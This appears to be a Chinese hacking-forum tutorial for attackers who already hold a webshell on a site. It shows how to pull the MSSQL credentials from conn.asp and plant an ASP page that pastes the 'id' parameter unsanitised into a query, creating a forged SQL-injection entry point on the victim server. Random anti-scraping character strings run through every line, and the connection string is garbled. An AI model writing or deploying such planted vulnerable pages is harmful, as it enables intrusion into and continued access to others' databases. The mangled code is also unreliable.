首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:$ ~/ r0 Z- d9 y0 E4 ]
ASP/Visual Basic代码
2 ^" b. }9 j+ @3 ~<!--#include file="xx.asp"-->
4 A& K2 A7 A4 g9 p<% ) q' O0 ]! ~& Z! d0 f& Q3 {/ c h
set rs=server.createobject("ADODB.recordset") * w5 F" `" k1 l! w
id = request("id")
" ~, F* b& Q3 N: q6 \strSQL = "select * from admin where id=" & id 3 g9 L) {! e: D2 g
rs.open strSQL,conn,1,3
( z6 d9 [* r4 ers.close , N/ p8 F. r4 |. Y0 j# @1 J
%>
! [3 `, ~3 s' u& M8 Y9 P把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!8 V: } {+ p# E; V" W- J% h
然后就要构造一个连接数据库的文件了,代码如下: c' M4 r9 p; y/ g
ASP/Visual Basic代码9 b4 i: D( _; @6 |2 T5 Y# y
<%
1 @% {0 ]" ^, k: V, TstrSQLServerName = "000.000.000.000" '服务器名称或地址
& `: @* w0 \9 |7 EstrSQLDBUserName = "sqlname" '数据库帐号 - D7 s6 f6 s. T0 t+ I4 C
strSQLDBPassword = "sqlpass" '数据库密码
% k' f: n. W) w ~9 g TstrSQLDBName = "sqldataname" '数据库名称 $ v: G% v4 e% K8 Z4 M
Set conn = Server.CreateObject("ADODB.Connection")
) a- A& `: N1 @! j+ |strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
* G7 @6 m- d: H5 M$ Gconn.open strCon
0 D; ~7 F9 c1 k0 \) o# a%> 0 x- j- `! [& q: g
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功. i H2 | s$ G' K
|